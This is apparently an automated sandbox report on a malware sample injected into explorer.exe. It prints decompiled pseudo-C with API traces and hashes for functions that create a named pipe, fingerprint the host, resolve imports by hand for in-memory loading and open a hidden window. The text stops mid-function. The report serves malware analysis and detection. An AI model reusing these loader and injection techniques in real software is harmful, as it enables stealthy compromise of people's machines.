0x6c4d82c9
0x6c4d82cb
0x6c4d82d0
0x6c4d82b2
0x6c4d82b2
0x6c4d82b7
0x6c4d82bd
0x6c4d82b0
0x6c4d82d8
0x6c4d82d9
0x6c4d82de

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,021AF960,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,021AF960,021AF960,?,6C4D79E0,00000000), ref: 6C4D8279

Part of subcall function 6C4D85E5: HeapAlloc.KERNEL32(00000008,?,?,6C4D8F65,00000100,?,6C4D5FAC), ref: 6C4D85F3

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,6C4D79E0,00000000), ref: 6C4D82A8

Part of subcall function 6C4D85FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 6C4D8641

Strings

yMl, xrefs: 6C4D82CB, 6C4D82B2, 6C4D82B6, 6C4D82CF

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharHeapMultiWide$AllocFree
String ID: yMl
API String ID: 3690260804-1907117714
Opcode ID: 21e579c568b9d75b9af77aaafba612d587face3ef9523f632a89ad8b3eacb1cc
Instruction ID: 7705cc7a59571bff790508264ccbb56f30e597e1ac32319474acf867e5801bcc
Opcode Fuzzy Hash: 21e579c568b9d75b9af77aaafba612d587face3ef9523f632a89ad8b3eacb1cc
Instruction Fuzzy Hash: 68012D766016157A9B10EBAB4C58CFB7EBCDF466B5712022BB515D27C1EB30D904C2F0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorer.exe PID: 2528 Parent PID: 1232 explorer.exeCOMMON

Executed Functions

Function 000831B5, Relevance: 1.6, APIs: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E000831B5(void* __edx, void* __eflags) {
				CHAR* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				signed int _t10;
				intOrPtr _t11;
				intOrPtr _t12;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t22;
				intOrPtr _t28;
				void* _t38;
				CHAR* _t40;

				_t38 = __edx;
				_t28 =  *0x9e688; // 0xb0000
				_t10 = E0008C2D4( *((intOrPtr*)(_t28 + 0xac)), __eflags);
				_t40 = _t10;
				_v8 = _t40;
				if(_t40 != 0) {
					_t11 = E000885E5(0x80000); // executed
					 *0x9e724 = _t11;
					__eflags = _t11;
					if(_t11 != 0) {
						_t12 = E0008BD52(); // executed
						_v16 = _t12;
						__eflags = _t12;
						if(_t12 != 0) {
							_push(0xc);
							_pop(0);
							_v12 = 1;
						}
						_v20 = 0;
						__eflags = 0;
						asm("sbb eax, eax");
						_t16 = CreateNamedPipeA(_t40, 0x80003, 6, 0xff, 0x80000, 0x80000, 0, 0 &  &_v20);
						 *0x9e674 = _t16;
						__eflags = _t16 - 0xffffffff;
						if(_t16 != 0xffffffff) {
							E0008BCBC( &_v20, _t38); // executed
							_t18 = E000898CF(E00083294, 0, __eflags, 0, 0); // executed
							__eflags = _t18;
							if(_t18 != 0) {
								goto L12;
							}
							_t22 =  *0x9e684; // 0xa5f8f0
							 *((intOrPtr*)(_t22 + 0x30))( *0x9e674);
							_push(0xfffffffd);
							goto L11;
						} else {
							 *0x9e674 = 0;
							_push(0xfffffffe);
							L11:
							_pop(0);
							L12:
							E000885FB( &_v8, 0xffffffff);
							return 0;
						}
					}
					_push(0xfffffff5);
					goto L11;
				}
				return _t10 | 0xffffffff;
			}

0x000831b5
0x000831bb
0x000831cb
0x000831d0
0x000831d2
0x000831d7
0x000831e8
0x000831ed
0x000831f3
0x000831f5
0x000831fe
0x00083203
0x00083206
0x00083208
0x0008320a
0x0008320c
0x0008320d
0x0008320d
0x0008321a
0x0008321d
0x00083222
0x0008323c
0x00083242
0x00083247
0x0008324a
0x00083256
0x00083264
0x0008326b
0x0008326d
0x00000000
0x00000000
0x0008326f
0x0008327a
0x0008327d
0x00000000
0x0008324c
0x0008324c
0x00083252
0x0008327f
0x0008327f
0x00083280
0x00083286
0x00000000
0x0008328f
0x0008324a
0x000831f7
0x00000000
0x000831f7
0x00000000

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1bee15e8191622d222ec990280045c89ca50be5b718f95899bc4ccac4e8414a
Instruction ID: 59f2fc08bf385391679f841e88351b9e624e91d561e75ef301149a9f3ff63128
Opcode Fuzzy Hash: e1bee15e8191622d222ec990280045c89ca50be5b718f95899bc4ccac4e8414a
Instruction Fuzzy Hash: 5D210A32604215AAEB50FBB8DC45FAE37A8FB95B74F20032AF565D71D1EE3489008751

Uniqueness

Uniqueness Score: -1.00%

Function 00085A54, Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00085A54(void* __eflags) {
				intOrPtr _t2;
				void* _t6;
				void* _t7;

				_t2 =  *0x9e684; // 0xa5f8f0
				 *((intOrPtr*)(_t2 + 0x108))(1, E000859F9);
				E00085624(_t6, _t7); // executed
				return 0;
			}

0x00085a54
0x00085a60
0x00085a66
0x00085a6d

APIs

RtlAddVectoredExceptionHandler.NTDLL(00000001,000859F9,00085CC9), ref: 00085A60

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: ef439f24643142f30ec426e0d8420abdc7ec358e2698ae67b416429a4cdf0c43
Instruction ID: 6cd5b5b2112386cd2885f80d60f64b4329ce55269d8079d3ff9981e99a896e8b
Opcode Fuzzy Hash: ef439f24643142f30ec426e0d8420abdc7ec358e2698ae67b416429a4cdf0c43
Instruction Fuzzy Hash: 63B092362405009AD640B760CC0AA9432907F20703F0100A0B2C4CA0A3DED048808741

Uniqueness

Uniqueness Score: -1.00%

Function 000849FE, Relevance: 9.3, APIs: 6, Instructions: 285
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E000849FE(void* __ecx, void* __edx, void* __fp0, intOrPtr* _a4, WCHAR* _a8, signed int _a12) {
				char _v516;
				void _v1044;
				char _v1076;
				signed int _v1080;
				signed int _v1096;
				WCHAR* _v1100;
				intOrPtr _v1104;
				signed int _v1108;
				intOrPtr _v1112;
				intOrPtr _v1116;
				char _v1144;
				char _v1148;
				void* __esi;
				intOrPtr _t66;
				intOrPtr _t73;
				signed int _t75;
				intOrPtr _t76;
				signed int _t80;
				signed int _t81;
				WCHAR* _t87;
				void* _t89;
				signed int _t90;
				signed int _t91;
				signed int _t93;
				signed int _t94;
				WCHAR* _t96;
				intOrPtr _t106;
				intOrPtr _t107;
				void* _t108;
				intOrPtr _t109;
				signed char _t116;
				WCHAR* _t118;
				void* _t122;
				signed int _t123;
				intOrPtr _t125;
				void* _t128;
				void* _t129;
				WCHAR* _t130;
				void* _t134;
				void* _t141;
				void* _t143;
				WCHAR* _t145;
				signed int _t153;
				void* _t154;
				void* _t178;
				signed int _t180;
				void* _t181;
				void* _t183;
				void* _t187;
				signed int _t188;
				WCHAR* _t190;
				signed int _t191;
				signed int _t192;
				intOrPtr* _t194;
				signed int _t196;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t202;
				intOrPtr* _t203;
				void* _t208;

				_t208 = __fp0;
				_push(_t191);
				_t128 = __edx;
				_t187 = __ecx;
				_t192 = _t191 | 0xffffffff;
				memset( &_v1044, 0, 0x20c);
				_t199 = (_t196 & 0xfffffff8) - 0x454 + 0xc;
				_v1108 = 1;
				if(_t187 != 0) {
					_t123 =  *0x9e688; // 0xb0000
					_t125 =  *0x9e68c; // 0xa5fab8
					_v1116 =  *((intOrPtr*)(_t125 + 0x68))(_t187,  *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x110)))));
				}
				if(E0008BBCF(_t187) != 0) {
					L4:
					_t134 = _t128; // executed
					_t66 = E0008B7EA(_t134,  &_v516); // executed
					_push(_t134);
					_v1104 = _t66;
					E0008B6BF(_t66,  &_v1076, _t206, _t208);
					_t129 = E000849BA( &_v1076,  &_v1076, _t206);
					_t141 = E0008D442( &_v1076, E0008C3BB( &_v1076), 0);
					E0008B8CC(_t141,  &_v1100, _t208);
					_t175 =  &_v1076;
					_t73 = E00082C82(_t187,  &_v1076, _t206, _t208); // executed
					_v1112 = _t73;
					_t143 = _t141;
					if(_t73 != 0) {
						_push(0);
						_push(_t129);
						_push("\\");
						_t130 = E000892C6(_t73);
						_t200 = _t199 + 0x10;
						_t75 =  *0x9e688; // 0xb0000
						__eflags =  *((intOrPtr*)(_t75 + 0x214)) - 3;
						if( *((intOrPtr*)(_t75 + 0x214)) != 3) {
							L12:
							__eflags = _v1108;
							if(__eflags != 0) {
								_t76 = E000891C4(_v1112);
								_t145 = _t130;
								 *0x9e740 = _t76;
								 *0x9e738 = E000891C4(_t145);
								L17:
								_push(_t145);
								_t80 = E00089B24( &_v1044, _t187, _t208, _v1104,  &_v1080,  &_v1100); // executed
								_t188 = _t80;
								_t201 = _t200 + 0x10;
								__eflags = _t188;
								if(_t188 == 0) {
									goto L41;
								}
								_push(0x9b9c6);
								E00089F13(0xe); // executed
								E00089F37(_t188, _t208, _t130); // executed
								_t194 = _a4;
								_v1096 = _v1096 & 0x00000000;
								_push(2);
								_v1100 =  *_t194;
								_push(8);
								_push( &_v1100);
								_t178 = 0xb; // executed
								E0008A076(_t188, _t178, _t208); // executed
								_t179 =  *(_t194 + 0x10);
								_t202 = _t201 + 0xc;
								__eflags =  *(_t194 + 0x10);
								if( *(_t194 + 0x10) != 0) {
									E0008A3D8(_t188, _t179, _t208);
								}
								_t180 =  *(_t194 + 0xc);
								__eflags = _t180;
								if(_t180 != 0) {
									E0008A3D8(_t188, _t180, _t208); // executed
								}
								_t87 = E000897ED(0);
								_push(2);
								_v1100 = _t87;
								_t153 = _t188;
								_push(8);
								_v1096 = _t180;
								_push( &_v1100);
								_t181 = 2; // executed
								_t89 = E0008A076(_t153, _t181, _t208); // executed
								_t203 = _t202 + 0xc;
								__eflags = _v1108;
								if(_v1108 == 0) {
									_t153 =  *0x9e688; // 0xb0000
									__eflags =  *((intOrPtr*)(_t153 + 0xa4)) - 1;
									if(__eflags != 0) {
										_t90 = E0008FC57(_t89, _t181, _t208, 0, _t130, 0);
										_t203 = _t203 + 0xc;
										goto L26;
									}
									_t153 = _t153 + 0x228;
									goto L25;
								} else {
									_t91 =  *0x9e688; // 0xb0000
									__eflags =  *((intOrPtr*)(_t91 + 0xa4)) - 1;
									if(__eflags != 0) {
										L32:
										__eflags =  *(_t91 + 0x1898) & 0x00000082;
										if(( *(_t91 + 0x1898) & 0x00000082) != 0) {
											_t183 = 0x64;
											E0008E280(_t183);
										}
										E000852B3( &_v1076, _t208);
										_t190 = _a8;
										_t154 = _t153;
										__eflags = _t190;
										if(_t190 != 0) {
											_t94 =  *0x9e688; // 0xb0000
											__eflags =  *((intOrPtr*)(_t94 + 0xa0)) - 1;
											if( *((intOrPtr*)(_t94 + 0xa0)) != 1) {
												lstrcpyW(_t190, _t130);
											} else {
												_t96 = E0008109A(_t154, 0x228);
												_v1100 = _t96;
												lstrcpyW(_t190, _t96);
												E000885B6( &_v1100);
												 *_t203 = "\"";
												lstrcatW(_t190, ??);
												lstrcatW(_t190, _t130);
												lstrcatW(_t190, "\"");
											}
										}
										_t93 = _a12;
										__eflags = _t93;
										if(_t93 != 0) {
											 *_t93 = _v1104;
										}
										_t192 = 0;
										__eflags = 0;
										goto L41;
									}
									_t51 = _t91 + 0x228; // 0xb0228
									_t153 = _t51;
									L25:
									_t90 = E00085532(_t153, _t130, __eflags);
									L26:
									__eflags = _t90;
									if(_t90 >= 0) {
										_t91 =  *0x9e688; // 0xb0000
										goto L32;
									}
									_push(0xfffffffd);
									L6:
									_pop(_t192);
									goto L41;
								}
							}
							_t106 = E0008C2D4(_v1104, __eflags);
							_v1112 = _t106;
							_t107 =  *0x9e684; // 0xa5f8f0
							_t108 =  *((intOrPtr*)(_t107 + 0xd0))(_t106, 0x80003, 6, 0xff, 0x400, 0x400, 0, 0);
							__eflags = _t108 - _t192;
							if(_t108 != _t192) {
								_t109 =  *0x9e684; // 0xa5f8f0
								 *((intOrPtr*)(_t109 + 0x30))();
								E000885FB( &_v1148, _t192);
								_t145 = _t108;
								goto L17;
							}
							E000885FB( &_v1144, _t192);
							_t81 = 1;
							goto L42;
						}
						_t116 =  *(_t75 + 0x1898);
						__eflags = _t116 & 0x00000004;
						if((_t116 & 0x00000004) == 0) {
							__eflags = _t116;
							if(_t116 != 0) {
								goto L12;
							}
							L11:
							E0008E2C8(_v1112, _t175);
							goto L12;
						}
						_v1080 = _v1080 & 0x00000000;
						_t118 = E000895C2(_t143, 0x879);
						_v1100 = _t118;
						_t175 = _t118;
						E0008C02E(0x80000002, _t118, _v1112, 4,  &_v1080, 4);
						E000885B6( &_v1100);
						_t200 = _t200 + 0x14;
						goto L11;
					}
					_push(0xfffffffe);
					goto L6;
				} else {
					_t122 = E00082B97( &_v1044, _t192, 0x105); // executed
					_t206 = _t122;
					if(_t122 == 0) {
						L41:
						_t81 = _t192;
						L42:
						return _t81;
					}
					goto L4;
				}
			}

0x000849fe
0x00084a0b
0x00084a16
0x00084a1b
0x00084a1d
0x00084a20
0x00084a25
0x00084a28
0x00084a32
0x00084a34
0x00084a41
0x00084a4a
0x00084a4a
0x00084a57
0x00084a72
0x00084a79
0x00084a7b
0x00084a80
0x00084a85
0x00084a8b
0x00084a9a
0x00084ab9
0x00084abb
0x00084ac1
0x00084ac7
0x00084acc
0x00084ad0
0x00084ad3
0x00084add
0x00084adf
0x00084ae0
0x00084aeb
0x00084aed
0x00084af0
0x00084af5
0x00084afc
0x00084b51
0x00084b51
0x00084b56
0x00084bbd
0x00084bc2
0x00084bc4
0x00084bce
0x00084bd3
0x00084bd3
0x00084be8
0x00084bed
0x00084bef
0x00084bf2
0x00084bf4
0x00000000
0x00000000
0x00084bfa
0x00084c04
0x00084c0d
0x00084c12
0x00084c15
0x00084c1b
0x00084c21
0x00084c29
0x00084c2b
0x00084c2e
0x00084c2f
0x00084c34
0x00084c37
0x00084c3a
0x00084c3c
0x00084c40
0x00084c40
0x00084c45
0x00084c48
0x00084c4a
0x00084c4e
0x00084c4e
0x00084c55
0x00084c5a
0x00084c5c
0x00084c60
0x00084c62
0x00084c68
0x00084c6c
0x00084c6f
0x00084c70
0x00084c75
0x00084c78
0x00084c7d
0x00084ca5
0x00084cab
0x00084cb2
0x00084cc1
0x00084cc6
0x00000000
0x00084cc6
0x00084cb4
0x00000000
0x00084c7f
0x00084c7f
0x00084c84
0x00084c8b
0x00084cd0
0x00084cd0
0x00084cd7
0x00084cdb
0x00084cdc
0x00084cdc
0x00084ce6
0x00084ceb
0x00084cee
0x00084cef
0x00084cf1
0x00084cf3
0x00084cf8
0x00084cff
0x00084d42
0x00084d01
0x00084d06
0x00084d0e
0x00084d12
0x00084d1d
0x00084d28
0x00084d30
0x00084d34
0x00084d3c
0x00084d3c
0x00084cff
0x00084d48
0x00084d4b
0x00084d4d
0x00084d53
0x00084d53
0x00084d55
0x00084d55
0x00000000
0x00084d55
0x00084c8d
0x00084c8d
0x00084c93
0x00084c95
0x00084c9a
0x00084c9a
0x00084c9c
0x00084ccb
0x00000000
0x00084ccb
0x00084c9e
0x00084ad7
0x00084ad7
0x00000000
0x00084ad7
0x00084c7d
0x00084b5c
0x00084b6a
0x00084b7d
0x00084b82
0x00084b88
0x00084b8a
0x00084ba2
0x00084ba7
0x00084bb0
0x00084bb6
0x00000000
0x00084bb6
0x00084b92
0x00084b9b
0x00000000
0x00084b9b
0x00084afe
0x00084b04
0x00084b06
0x00084b44
0x00084b46
0x00000000
0x00000000
0x00084b48
0x00084b4c
0x00000000
0x00084b4c
0x00084b08
0x00084b12
0x00084b1e
0x00084b29
0x00084b30
0x00084b3a
0x00084b3f
0x00000000
0x00084b3f
0x00084ad5
0x00000000
0x00084a59
0x00084a64
0x00084a6a
0x00084a6c
0x00084d57
0x00084d57
0x00084d59
0x00084d5f
0x00084d5f
0x00000000
0x00084a6c

APIs

memset.MSVCRT ref: 00084A20
lstrcpyW.KERNEL32(00000000,00000000), ref: 00084D12
lstrcatW.KERNEL32 ref: 00084D30
lstrcatW.KERNEL32 ref: 00084D34
lstrcatW.KERNEL32 ref: 00084D3C
lstrcpyW.KERNEL32(00000000,00000000), ref: 00084D42

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: lstrcat$lstrcpy$memset
String ID:
API String ID: 1985475764-0
Opcode ID: 10d9e4d0ed07cb32bfb1709ff761977929a7b59eaffcb9b09a79888293d0b380
Instruction ID: e76d409b8c8071987b9e0de827397f60ed50a71a08a5218eb30aa035da2c9028
Opcode Fuzzy Hash: 10d9e4d0ed07cb32bfb1709ff761977929a7b59eaffcb9b09a79888293d0b380
Instruction Fuzzy Hash: 2591CC71604302AFE754FB20DC86BBE77E9BB84720F14492EF5D58B292EB74D9048B52

Uniqueness

Uniqueness Score: -1.00%

Function 0008B7EA, Relevance: 9.1, APIs: 6, Instructions: 83
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0008B7EA(WCHAR* __ecx, void* __edx) {
				long _v8;
				long _v12;
				WCHAR* _v16;
				short _v528;
				short _v1040;
				short _v1552;
				WCHAR* _t27;
				signed int _t29;
				void* _t33;
				long _t38;
				WCHAR* _t43;
				WCHAR* _t56;

				_t44 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t43 = __edx;
				_t56 = __ecx;
				memset(__edx, 0, 0x100);
				_v12 = 0x100;
				GetComputerNameW( &_v528,  &_v12);
				lstrcpynW(_t43,  &_v528, 0x100);
				_t27 = E000895C2(_t44, 0xa88);
				_v16 = _t27;
				_t29 = GetVolumeInformationW(_t27,  &_v1552, 0x100,  &_v8, 0, 0,  &_v1040, 0x100);
				asm("sbb eax, eax");
				_v8 = _v8 &  ~_t29;
				E000885B6( &_v16);
				_t33 = E0008C3D4(_t43);
				E00089621( &(_t43[E0008C3D4(_t43)]), 0x100 - _t33, L"%u", _v8);
				lstrcatW(_t43, _t56);
				_t38 = E0008C3D4(_t43);
				_v12 = _t38;
				CharUpperBuffW(_t43, _t38);
				return E0008D442(_t43, E0008C3D4(_t43) + _t40, 0);
			}

0x0008b7ea
0x0008b7f3
0x0008b7ff
0x0008b805
0x0008b807
0x0008b80f
0x0008b822
0x0008b831
0x0008b83c
0x0008b849
0x0008b863
0x0008b868
0x0008b86a
0x0008b871
0x0008b881
0x0008b892
0x0008b89c
0x0008b8a4
0x0008b8ab
0x0008b8ae
0x0008b8cb

APIs

memset.MSVCRT ref: 0008B807
GetComputerNameW.KERNEL32(?,?,74EC17D9,00000000,74EC11C0), ref: 0008B822
lstrcpynW.KERNEL32(?,?,00000100), ref: 0008B831
GetVolumeInformationW.KERNELBASE(00000000,?,00000100,00000000,00000000,00000000,?,00000100), ref: 0008B863

Part of subcall function 00089621: _vsnwprintf.MSVCRT ref: 0008963E

lstrcatW.KERNEL32 ref: 0008B89C
CharUpperBuffW.USER32(?,00000000), ref: 0008B8AE

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: BuffCharComputerInformationNameUpperVolume_vsnwprintflstrcatlstrcpynmemset
String ID:
API String ID: 3410906232-0
Opcode ID: 9e9cc355a111bd2f8d3623ebb3aab38fc93188089e2077968ceb5f2c82d5f541
Instruction ID: f8b7a3c1acc05bd70a14cdd091a009b2ed4efedbd8d29cf780882ed056f74b26
Opcode Fuzzy Hash: 9e9cc355a111bd2f8d3623ebb3aab38fc93188089e2077968ceb5f2c82d5f541
Instruction Fuzzy Hash: F92132B2A40218BFE710ABA4DC4AFEE77BCEB84310F108165F606D6182EE745E448B60

Uniqueness

Uniqueness Score: -1.00%

Function 0008CFC6, Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0008CFC6(void* __ecx) {
				intOrPtr _t11;
				long _t12;
				intOrPtr _t17;
				intOrPtr _t18;
				struct _OSVERSIONINFOA* _t29;

				_push(__ecx);
				_t29 =  *0x9e688; // 0xb0000
				GetCurrentProcess();
				_t11 = E0008BA47(); // executed
				_t1 = _t29 + 0x1644; // 0xb1644
				_t25 = _t1;
				 *((intOrPtr*)(_t29 + 0x110)) = _t11;
				_t12 = GetModuleFileNameW(0, _t1, 0x105);
				_t33 = _t12;
				if(_t12 != 0) {
					_t12 = E00088F9F(_t25, _t33);
				}
				_t3 = _t29 + 0x228; // 0xb0228
				 *(_t29 + 0x1854) = _t12;
				 *((intOrPtr*)(_t29 + 0x434)) = E00088F9F(_t3, _t33);
				memset(_t29, 0, 0x9c);
				_t29->dwOSVersionInfoSize = 0x9c;
				GetVersionExA(_t29);
				 *((intOrPtr*)(_t29 + 0x1640)) = GetCurrentProcessId();
				_t17 = E0008E3F8(_t3);
				_t7 = _t29 + 0x220; // 0xb0220
				 *((intOrPtr*)(_t29 + 0x21c)) = _t17;
				_t18 = E0008E433(_t7); // executed
				 *((intOrPtr*)(_t29 + 0x218)) = _t18;
				return _t18;
			}

0x0008cfc9
0x0008cfcb
0x0008cfd2
0x0008cfda
0x0008cfe4
0x0008cfe4
0x0008cfea
0x0008cff3
0x0008cff9
0x0008cffb
0x0008cfff
0x0008cfff
0x0008d004
0x0008d00a
0x0008d01a
0x0008d024
0x0008d02c
0x0008d02f
0x0008d03b
0x0008d041
0x0008d046
0x0008d04c
0x0008d052
0x0008d058
0x0008d060

APIs

GetCurrentProcess.KERNEL32(?,?,000B0000,?,00083538), ref: 0008CFD2
GetModuleFileNameW.KERNEL32(00000000,000B1644,00000105,?,?,000B0000,?,00083538), ref: 0008CFF3
memset.MSVCRT ref: 0008D024
GetVersionExA.KERNEL32(000B0000,000B0000,?,00083538), ref: 0008D02F
GetCurrentProcessId.KERNEL32(?,00083538), ref: 0008D035

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CurrentProcess$FileModuleNameVersionmemset
String ID:
API String ID: 3581039275-0
Opcode ID: 1cd997e0c49c8d550cc113d255d71e0cd1cb7d24bfe504b15f1c23ad715fa88f
Instruction ID: cb89313106e779ecfc1c3035e56e170423fe5477c83872d01a42d9a1b9676586
Opcode Fuzzy Hash: 1cd997e0c49c8d550cc113d255d71e0cd1cb7d24bfe504b15f1c23ad715fa88f
Instruction Fuzzy Hash: C2015E70901B00ABE720BF70DC0ABDA7BE5FF85310F04082EE59687292EF746545CB54

Uniqueness

Uniqueness Score: -1.00%

Function 000924D3, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 151
libraryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E000924D3(signed int __eax, intOrPtr _a4) {
				intOrPtr* _v8;
				signed int* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				intOrPtr _v40;
				signed int _v44;
				struct HINSTANCE__* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _t109;
				signed int _t112;
				signed int _t115;
				struct HINSTANCE__* _t121;
				void* _t163;

				_v44 = _v44 & 0x00000000;
				if(_a4 != 0) {
					_v48 = GetModuleHandleA("kernel32.dll");
					_v40 = E0008E0DB(_v48, "GetProcAddress");
					_v52 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
					_v32 = _v52;
					_t109 = 8;
					if( *((intOrPtr*)(_v32 + (_t109 << 0) + 0x78)) == 0) {
						L24:
						return 0;
					}
					_v56 = 0x80000000;
					_t112 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t112 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_v8 = _v8 + 0x14;
					}
					_t115 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t115 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t121 = LoadLibraryA( *((intOrPtr*)(_v8 + 0xc)) + _a4); // executed
						_v36 = _t121;
						if(_v36 != 0) {
							if( *_v8 == 0) {
								_v12 =  *((intOrPtr*)(_v8 + 0x10)) + _a4;
							} else {
								_v12 =  *_v8 + _a4;
							}
							_v28 = _v28 & 0x00000000;
							while( *_v12 != 0) {
								_v24 = _v24 & 0x00000000;
								_v16 = _v16 & 0x00000000;
								_v64 = _v64 & 0x00000000;
								_v20 = _v20 & 0x00000000;
								if(( *_v12 & _v56) == 0) {
									_v60 =  *_v12 + _a4;
									_v20 = _v60 + 2;
									_v24 =  *( *((intOrPtr*)(_v8 + 0x10)) + _a4 + _v28);
									_v16 = _v40(_v36, _v20);
								} else {
									_v24 =  *_v12;
									_v20 = _v24 & 0x0000ffff;
									_v16 = _v40(_v36, _v20);
								}
								if(_v24 != _v16) {
									_v44 = _v44 + 1;
									if( *((intOrPtr*)(_v8 + 0x10)) == 0) {
										 *_v12 = _v16;
									} else {
										 *( *((intOrPtr*)(_v8 + 0x10)) + _a4 + _v28) = _v16;
									}
								}
								_v12 =  &(_v12[1]);
								_v28 = _v28 + 4;
							}
							_v8 = _v8 + 0x14;
							continue;
						}
						_t163 = 0xfffffffd;
						return _t163;
					}
					goto L24;
				}
				return __eax | 0xffffffff;
			}

0x000924d9
0x000924e1
0x000924f6
0x00092508
0x00092514
0x0009251a
0x0009251f
0x0009252b
0x00092696
0x00000000
0x00092696
0x00092531
0x0009253a
0x00092548
0x0009254b
0x0009255a
0x0009255a
0x00092561
0x0009256f
0x00092572
0x00092589
0x0009258f
0x00092596
0x000925a6
0x000925be
0x000925a8
0x000925b0
0x000925b0
0x000925c1
0x000925c5
0x000925d1
0x000925d5
0x000925d9
0x000925dd
0x000925e9
0x00092614
0x0009261c
0x0009262e
0x0009263a
0x000925eb
0x000925f0
0x000925fb
0x00092607
0x00092607
0x00092643
0x00092649
0x00092653
0x0009266f
0x00092655
0x00092664
0x00092664
0x00092653
0x00092677
0x00092680
0x00092680
0x0009268e
0x00000000
0x0009268e
0x0009259a
0x00000000
0x0009259a
0x00000000
0x00092572
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 000924F0
LoadLibraryA.KERNEL32(00000000), ref: 00092589

Strings

kernel32.dll, xrefs: 000924EB
GetProcAddress, xrefs: 000924F9

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: GetProcAddress$kernel32.dll
API String ID: 4133054770-1584408056
Opcode ID: 2352adce6c389be8d2c2806daa3e9ea874876bb92571272c60ceabb1c7462c04
Instruction ID: 88f258000fc7a8f5536618daea2d87f2d1ab54c546ac18223be640e1c38ae54b
Opcode Fuzzy Hash: 2352adce6c389be8d2c2806daa3e9ea874876bb92571272c60ceabb1c7462c04
Instruction Fuzzy Hash: EE617C75900209EFDF50CF98C885BADBBF1BF08315F258599E815AB3A1D774AA80EF50

Uniqueness

Uniqueness Score: -1.00%

Function 00082ECD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00082ECD(void* __eflags) {
				CHAR* _v12;
				struct HINSTANCE__* _v32;
				intOrPtr _v44;
				intOrPtr _v48;
				void _v52;
				char _v80;
				char _v144;
				intOrPtr _t25;
				intOrPtr _t32;
				struct HWND__* _t34;
				intOrPtr _t36;
				intOrPtr _t39;
				struct HWND__* _t44;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t51;
				intOrPtr _t53;
				intOrPtr _t56;
				intOrPtr _t59;
				struct HINSTANCE__* _t64;

				_t25 =  *0x9e684; // 0xa5f8f0
				_t64 =  *((intOrPtr*)(_t25 + 0x10))(0);
				memset( &_v52, 0, 0x30);
				_t59 =  *0x9e688; // 0xb0000
				E0008900E(1,  &_v144, 0x1e, 0x32, _t59 + 0x648);
				_v48 = 3;
				_v52 = 0x30;
				_v12 =  &_v144;
				_v44 = E00082E6A;
				_push( &_v52);
				_t32 =  *0x9e694; // 0xa5fa48
				_v32 = _t64;
				if( *((intOrPtr*)(_t32 + 8))() == 0) {
					L6:
					_t34 =  *0x9e718; // 0x403a6
					if(_t34 != 0) {
						_t39 =  *0x9e694; // 0xa5fa48
						 *((intOrPtr*)(_t39 + 0x28))(_t34);
					}
					L8:
					_t36 =  *0x9e694; // 0xa5fa48
					 *((intOrPtr*)(_t36 + 0x2c))( &_v144, _t64);
					return 0;
				}
				_t44 = CreateWindowExA(0,  &_v144,  &_v144, 0xcf0000, 0x80000000, 0x80000000, 0x1f4, 0x64, 0, 0, _t64, 0);
				 *0x9e718 = _t44;
				if(_t44 == 0) {
					goto L8;
				}
				ShowWindow(_t44, 0);
				_t47 =  *0x9e694; // 0xa5fa48
				 *((intOrPtr*)(_t47 + 0x18))( *0x9e718);
				while(1) {
					_t50 =  *0x9e694; // 0xa5fa48
